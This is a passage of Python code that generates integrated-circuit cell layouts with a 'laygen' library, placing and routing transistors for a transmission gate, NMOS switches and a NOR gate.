laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstname1=ip1.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I', 'O'], rect_list=[ri0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_tgate(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in_space = laygen.place("I"+objectname_pfix+'NDMY', devname_nmos_space, pg, shape=np.array([2, 1]), xy=origin)
in0 = laygen.relplace(name = "I" + objectname_pfix + 'N0', templatename = devname_nmos_boundary, gridname = pg, refinstname = in_space.name)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip_space = laygen.relplace(name = "I"+objectname_pfix+'PDMY', templatename = devname_pmos_space, gridname = pg, refinstname = in_space.name, direction='top', transform='MX', shape=np.array([2, 1]))
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip_space.name, transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-3, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-3, 0]), xy1=np.array([-3, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-3, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
renb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-2, 0]), xy1=np.array([-2, 2]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([-2, 0]), refinstname=ip1.name, refpinname='G0', gridname=rg_m2m3)
#input
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([0, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([0, 0]), gridname=rg_m2m3)
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S0', refinstindex1=np.array([0, 0]))
#output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([m-1, 0]), gridname=rg_m2m3)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([m-1, 0]), gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip_space.name, refinstname1=ip2.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in_space.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['EN', 'ENB', 'I', 'O'], rect_list=[ren0, renb0, ri0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_nsw(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
m=1, origin=np.array([0,0]), create_pin=False):
#generate an nmos type switch
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I" + objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_space, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip1.name, transform='MX')
#ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_space, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#ip1 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
#ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip1.name, transform='MX')
# route
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
#input
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
ri=[]
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S1', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([i, 0]))
ri.append(ri0)
#output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]), endstyle0='extend',
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]), endstyle1='extend')
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
ro=[]
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([i, 0]))
ro.append(ro0)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['EN', 'I', 'O'], rect_list=[ren0, ri[0], ro[0]])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_nsw_wovdd(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
m=1, origin=np.array([0,0]), create_pin=False):
#generate an nmos type switch, without vdd rail
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in0b= laygen.relplace(name = "I"+objectname_pfix+'N0B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
in1b= laygen.relplace(name = "I"+objectname_pfix+'N2B', templatename = devname_nmos_body, gridname = pg, refinstname = in0b.name, transform='MX', shape=np.array([m, 1]))
in2b= laygen.relplace(name = "I"+objectname_pfix+'N3B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1b.name, transform='MX')
# route
# en, enb
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ren0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1b.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1b.name, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
laygen.via(None, np.array([-1, 0]), refinstname=in1b.name, refpinname='G0', gridname=rg_m2m3)
#input
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
ri=[]
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
ri0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S1', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([i, 0]))
ri.append(ri0)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S1', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='S1', refinstindex0=np.array([i, 0]),
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([i, 0]))
#output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]), endstyle0='extend',
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]), endstyle1='extend')
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
ro=[]
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([i, 0]))
ro.append(ro0)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1+1, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='S0', refinstindex0=np.array([0, 0]), endstyle0='extend',
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]), endstyle1='extend')
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1b.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1b.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m2m3)
laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 4]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='D0', refinstindex0=np.array([i, 0]),
refinstname1=in1b.name, refpinname1='D0', refinstindex1=np.array([i, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
rvss2 = laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0b.name, refinstname1=in2b.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['EN', 'I', 'O'], rect_list=[ren0, ri[0], ro[0]])
rvss_pin_xy = laygen.get_xy(obj = rvss, gridname = rg_m1m2)
rvss2_pin_xy = laygen.get_xy(obj = rvss2, gridname = rg_m1m2)
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvss2_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_nor(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I" + objectname_pfix + 'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I" + objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_body, gridname = pg, refinstname = in3.name, shape=np.array([m, 1]))
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_boundary, gridname = pg, refinstname = in4.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip2.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_body, gridname = pg, refinstname = ip3.name, transform='MX', shape=np.array([m, 1]))
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip4.name, transform='MX')
# route
# b0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
rb0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# a0
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in4.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m == 1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]),
endstyle0="extend", endstyle1="extend")
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([-1, 0]), refinstname=ip4.name, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip4.name, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='G0', refinstindex1=np.array([m - 1, 0]))
ra0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='G0', refinstname1=ip4.name, refpinname1='G0',
endstyle0="extend", endstyle1="extend")
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='G0', gridname=rg_m2m3)
# internal connection between mos
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0',
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0',
refinstname1=ip4.name, refpinname1='S1', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 1]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='S0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 1]), refinstname=ip4.name, refpinname='S1', refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
# output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip4.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=ip4.name, refpinname0='D0', refinstindex0=np.array([m - 1, 0]),
refinstname1=in4.name, refpinname1='D0', refinstindex1=np.array([m - 1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='D0', refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
laygen.via(None, np.array([0, 1]), refinstname=in4.name, refpinname='D0', gridname=rg_m2m3, refinstindex=np.array([m - 1, 0]))
# power and ground route
xy_s0 = laygen.get_template_pin_xy(ip1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
